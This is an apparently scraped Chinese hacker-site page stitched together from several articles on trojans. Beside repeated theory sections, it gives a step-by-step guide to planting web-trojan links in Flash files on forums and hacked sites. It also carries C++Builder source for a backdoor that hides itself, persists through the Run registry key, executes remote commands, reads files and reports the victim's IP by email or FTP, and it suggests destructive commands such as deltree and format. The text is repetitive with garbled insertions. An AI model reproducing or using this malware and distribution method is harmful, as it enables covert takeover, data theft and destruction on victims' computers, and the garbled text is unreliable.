木马编程科技(木马程序源代码)

hacker2年前黑客文章90
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什么是木马?木马的工作原理是什么?

木马特洛伊木马(以下简称木马),英文叫做“Trojan horse”,其名称取自希腊神话的特洛伊木马记。 它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。 所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具 *** 置,往往只能望“马”兴叹。 所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。 从木马的发展来看,基本上可以分为两个阶段。 最初 *** 还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的 *** 和编程知识。 而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。 所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。 鉴于木马的巨大危害性,我们将分原理篇,防御与反击篇,资料篇三部分来详细介绍木马,希望大家对特洛伊木马这种攻击手段有一个透彻的了解。 原理篇基础知识在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。 一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。 (1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的 *** 载体。 (2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。 (3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的 *** 地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。 木马原理用木马这种黑客工具进行 *** 入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。 一.配置木马 一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能: (1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。 (2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等

木马的编程是什么

一、 *** Flas *** 木马的准备 _1@2{3|$^'M!A程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛 Flas *** 木马的原理,是在网页中显示或本地直接播放Flas *** 木马时,让Flash自动打开一个网址,而该网址就是我们预先 *** 好的一个木马网页。也就是说,在 *** 网页木马前,我们首先需要 *** 好一个网页木马,并将它放置到某个网站上去。 %H8H7W*B%N,|:^4i+p6U 另外,我们还需要准备一个比较吸引人的Flas *** 文件“MM热舞.swf”,以及Flas *** 反编译工具“闪客精灵”,编辑工具Macromedia Flash MX。 二、最原始的Flash木马 (X8h4s8G8L"G程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛 现在虽然有了许多各种各样的Flas *** 木马 *** 工具,但是为了了解Flas *** 木马的最基本原理,有必要从头开始用最原始的 *** *** 一个Flash木马。 'h'C(U$R'I1L2v"ttech.techweb.com.cn 步骤一:反编译SWF动画-O7c$^,d"hQ7v5W 首先我们需要将要插入网页木马的Flas *** 文件“MM热舞.swf”,反编译成可编辑的.fla格式。运行“闪客精灵”,点击菜单“文件”→“快速打开”命令,指定“MM热舞.swf”文件将其导入。然后点击工具栏上的“导出FLA”命令,将动画导出为“MM热舞.fla”文件。 5?-^9_-h)b8F3I,E;m5F 步骤二:插入网页木马代码9t!m*W,{5q%\6j"H!]6n"f 然后运行Flas *** 编辑器Macromedia Flash MX,点击菜单“文件”→“打开”,调入刚才保存的fla文件。展开界面下方的“动作/帧”栏,再展开“动作”→“浏览器/ *** ”项,点击其中的“getURL”命令,在右边窗口中的“URL”里面输入我们的网页木马地址;窗口方式为“_blank”;“变量”设置为“使用GET方式发送”,在下方的代码窗口中将出现“getURL("http://网页木马地址", "_blank", "GET");”。tech.techweb.com.cn ^#o ~4V%{:m5z4E/H b;W 补充: 步骤三:生成Flash木马 -V"L$o(t8H6m9l)rtech.techweb.com.cn 设置完毕后保存文件,并点击菜单“文件”→“发布”命令,将动画重新导出为SWF格式。用IE浏览器打开刚才生成的Flas *** 木马,可以看到随着Flas *** 打开播放时,自动弹出一个浏览器窗口,里面将会显示我们的木马网页。 接着~~~~~ 三、简简单单生成Flash木马tech.techweb.com.cn*S0m7p#o5A p7S#C6l2zf9e 程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛-q"R1h8o8j0Z5c 上面插入木马的过程比较麻烦,下面我们介绍一个简单的 *** ,也正是这些简单的工具使得Flash木马在网上随处可见。 6V5n8`!I0R/c6~,e程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛+z%m3L'k}6M2` 运行SWF木马插入器,点击界面中的“选择”按钮,浏览指定要插入木马的SWF文件;在“插入代码”中输入木马网页的地址;切记不要勾选下面的“只解压”项。设置完毕后,点击“给我插”按钮,程序提示开始插入木马网页。显示成功信息后,关闭程序,用IE打开生成的动画,可以看到自动跳转到木马网页去了。 2v)l8e"^5H9^[#_!l 9{7l#Z+X"J(P @,B 四、Flash木马的利用 9U+p6W;d;D7e+F9Ktech.techweb.com.cn 4W6Z4W1v4V"}4A/D$t._0_7P1o 看到上面的步骤了吧,生成一个Flas *** 木马是不是很简单? 那么生成的Flash木马该如何应用呢?只要我们将Flash上传到某个网站中,就可以通过论坛或网站之类的直接利用了。 补充: #Bc)e#c9A%`-w程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛+|,K({L#P2n:\6^ 大部分的论坛中都可以发来Flas *** 的帖子,利用论坛发帖,攻击者可以快速获得大量的肉鸡。以PHPWind v4.3.2 论坛为例,在发帖或回复时,点击编辑窗口上方的“插入Flas *** ”按钮,设置Flash窗口大小,使用默认设置后,要求输入Flash的URL地址。确定后,可以看到编辑窗口中显示的代码为““(flash=400,300)hxxp://www.flash**.com.cn/upfiles/20067**.swf(/flash)””,这就是完整的Flash播放代码了,不同的论坛代码是不一样的。TechWeb-技术社区5h4n8X5]/@'G+`'R'i %`6W'e)~"h 应用二:网页嵌入Flash木马"U3S9Z3v ^ 1q8X!h-V+V0T 攻击者入侵了某个大的网站之后,很可能在网站首页挂马,使用普通方式挂马会被管理员发觉,但是挂上Flash木马的话,是很难查杀的。攻击者可能在网页中插入如下代码:8y1o*@6Ll5k8L i8a9u%A,h5@/w “《EMBED src=http://网页木马地址/木马.swf width=0 height=0 type=application/x-shockwave-flash AUTOSTART="false" ShowStatusBar="false"》”,其中的《》改为。 $B;{)o,j5C,A.H;Z(sTechWeb-技术社区5L/b)o'K,m:s'i1t 这里的参数“width=0 height=0”表示,Flash播放窗口为零,也就是不显示Flash播放窗口。其它用户浏览网页时,就会莫名其妙的弹出一个木马网页窗口。 '^9e#G)n:X-j*T 1f6F#k.zj3G

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如何编写木马

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");

file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDON *** )

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NM *** TP1-Connected) NM *** TP1-Disconnect();

file://如果 *** TP服务器已连接则断开

NM *** TP1-Host = " *** tp.163.net";

file://选一个好用的 *** TP服务器,如163、263、sina和btamail

NM *** TP1-UserID = "";

file://你 *** TP的ID

try

{

NM *** TP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NM *** TP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NM *** TP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";

file://将信发到我的邮箱,这一步很关键

NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NM *** TP1-PostMessage-Subject = "Server Running Now!";

file://信的主题

NM *** TP1-SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1-Host = "ftp.go.163.com";

file://你的FTP服务器的地址

NMFTP1-UserID = "";

file://你的用户ID

NMFTP1-Port = 21;

file://FTP端口号,一般为21

NMFTP1-Password = "";

file://你的FTP的密码

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已连接就断开

try

{

NMFTP1-Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1-RemoveDir("public_html");

file://删除public_html目录

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服务器端(Server)程序

高科技, 杀毒软件查出有木马程序?

就是说误杀行为。很多游戏或应用软件在编写过程中调用的部分函数与杀毒软件病毒库监控的病毒木马函数一定有一样的时候。这样就会被杀毒软件查杀。相似性的病毒特征。就会被误杀。

木马技术的原理是什么

一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。

(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的 *** 载体。

(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。

(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的 *** 地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。

木马原理

用木马这种黑客工具进行 *** 入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。

一.配置木马

一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:

(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。

(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信息反馈”这一节中详细介绍。

什么是木马?

特洛伊木马(以下简称木马),英文叫做“Trojan house”,其名称取自希腊神话的特洛伊木马记。

它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。

所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具 *** 置,往往只能望“马”兴叹。

所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。

从木马的发展来看,基本上可以分为两个阶段。

最初 *** 还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的 *** 和编程知识。

而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。

所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。

鉴于木马的巨大危害性,我们将分原理篇,防御与反击篇,资料篇三部分来详细介绍木马,希望大家对特洛伊木马这种攻击手段有一个透彻的了解。

原 理 篇

基础知识

在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。

一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。

(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的 *** 载体。

